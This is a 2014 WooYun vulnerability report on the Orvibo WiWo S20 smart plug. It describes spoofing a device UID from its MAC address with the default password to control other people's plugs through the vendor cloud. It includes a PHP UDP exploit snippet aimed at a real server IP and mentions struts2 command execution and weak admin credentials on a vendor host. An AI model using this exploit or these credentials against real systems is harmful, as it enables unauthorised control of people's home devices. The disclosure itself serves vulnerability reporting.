当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-075750

漏洞标题：智能家居设计漏洞可大规模远程控制别人家的设备

相关厂商：欧瑞博

漏洞作者： livers

提交时间：2014-09-11 00:05

修复时间：2014-10-26 00:08

公开时间：2014-10-26 00:08

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-11： 细节已通知厂商并且等待厂商处理中
2014-09-15： 厂商已经确认，细节仅向厂商公开
2014-09-25： 细节向核心白帽子及相关领域专家公开
2014-10-05： 细节向普通白帽子公开
2014-10-15： 细节向实习白帽子公开
2014-10-26： 细节向公众公开

简要描述：

我中意你家的外观设计，也非常佩服smart config的神奇设计，可是就差那么一点点啊。

详细说明：

欧瑞博WiWo s20 智能插座
协议分析：
控制开关

图片1.png


设备 uid = MAC + 0x202020202020
MAC 地址扫描BSSID
不同网段之间：
攻击者 （伪造UID+默认密码888888） -> 云端服务器
云端服务器 -> 攻击者（两个UDP回应包 ）
攻击者 （UDP操作码） -> 云端服务器
云端服务器 （ UDP操作码） -> 控制设备
只需要知道其他人的mac地址 和密码（大部分是默认，不信看下面）就可以控制他人的设备
利用代码：

<?php
$fp = fsockopen('udp://42.121.111.208', 10000);
$send = pack('H*', 'xxxxxxxx36caccf23299bc4202020202020383838383838202020202020');
fwrite($fp, $send);
$recv = fread($fp, 8192);
$send = pack('H*', '686400176463accf23299bc42020202020206b00000000');
$send[18] = $recv[18];
$send[22] = $recv[23] == chr(0) ? chr(1) : chr(0);
fwrite($fp, $send);
$recv = fread($fp, 8192);


结合云端漏洞 就变恐怖了。。。。。。。。。
http://vicenter.orvibo.com:20001/ struts2 命令执行啊
管理员弱口令啊 用户名也都是 123456 123456
所以

222222.png


还能远程debug...

222222.png


还没mac 地址呢
别急

3333333333333344444444444444444.png


我说都是弱口令吧
383838383838 hex 888888
可以本地发指令给云端 让云端 转发给设备
也可以直接云端发指令给设备。
当然还有 很多固件啊 你们的红外码 之类的都外漏了

666666666666666666666662.png

777777777777777777777777777777777.png

漏洞证明：

222222.png

3333333333333344444444444444444.png" /<img src="/upload/201409/10235435a83f9ca4057ccd33403814026c9fd98f.png" alt="666666666666666666666662.png

777777777777777777777777777777777.png

>

修复方案：

。。。。。听剑心的

版权声明：转载请注明来源 livers@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-09-15 23:44

厂商回复：

最新状态：

暂无